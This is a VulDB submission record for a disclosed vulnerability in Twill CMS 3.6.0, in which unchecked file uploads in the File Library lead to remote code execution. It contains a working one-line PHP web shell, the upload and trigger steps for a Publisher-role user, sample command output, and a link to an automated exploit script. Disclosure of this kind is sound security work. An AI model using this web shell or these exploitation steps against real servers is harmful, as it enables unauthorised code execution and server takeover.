| Titolo | AREA 17 Twill CMS 3.6.0 Unrestricted File Upload |
|---|
| Descrizione | Twill CMS does not check the type of files uploaded through the File Library. The handler `FileLibraryController::storeFile` takes the filename from the request and keeps its extension intact, and the matching form request `FileRequest` only requires the upload fields to be present without any
extension or MIME check. Files are written to the `twill_file_library` disk, which is public and rooted in `storage/app/public/uploads`. That path is exposed through Laravel's `storage:link` symlink, so an uploaded file is reachable at `/storage/uploads/`. A back-office user with the Publisher role can upload a PHP file and call it to run code on the server. The upload response returns the file's URL, so no path guessing is needed. Tested on 3.6.0 with Apache/mod_php.
Proof of concept
Steps, performed as a Publisher-role user:
Prepare a test payload shell.php:
<?php echo 'PWNED:'.php_uname().':'.exec($_GET['c'] ?? 'id'); ?>
Authenticate to the admin panel and open a content record containing a File field.
In the File field, choose Add file, then upload shell.php from the Upload tab. The file is
accepted; no type validation error is returned.
Determine the stored URL. The application returns it in the upload response:
the POST /admin/file-library/files reply contains a JSON media.src value of the form http://<target>/storage/uploads/<dir>/shell.php. The same file also appears in the library with a download link to that location. No path enumeration is required.
image.png
Request the file with a command parameter:
GET http://<target>/storage/uploads/<dir>/shell.php?c=id
The response confirms execution as the web server user:
PWNED:Linux <host> x86_64:uid=33(www-data) gid=33(www-data) groups=33(www-data)
An automated proof of concept, twill-cms-rce.py, is included with this advisory. It authenticates, performs the Laravel CSRF handshake (the XSRF-TOKEN cookie must be returned in the X-XSRF-TOKEN request header; omitting it yields HTTP 419), uploads the payload, and retrieves the execution result. A full request and response transcript is provided in evidence/http_trace.txt.
Attempting to write outside the uploads directory by setting unique_folder_name to a traversal sequence (for example ../../public/...) is rejected by the underlying Flysystem library with a PathTraversalDetected error. This does not affect exploitability, as the default uploads directory is already served and executable.
Application: https://github.com/area17/twill
PoC: https://github.com/bytium/vulnerability-research/blob/main/poc/twill-cms-rce.py
Credit: Jobyer Ahmed (Bytium) |
|---|
| Fonte | ⚠️ https://bytium.com/insights/authenticated-arbitrary-file-upload-to-rce-in-twill-cms |
|---|
| Utente | suffer (UID 74855) |
|---|
| Sottomissione | 05/06/2026 18:52 (1 mese fa) |
|---|
| Moderazione | 12/07/2026 13:11 (1 month later) |
|---|
| Stato | Accettato |
|---|
| Voce VulDB | 377847 [AREA 17 Twill CMS fino a 3.6.0 Media Library Insert Page FileLibraryController.php storeFile qqfilename escalationi di privilegi] |
|---|
| Punti | 20 |
|---|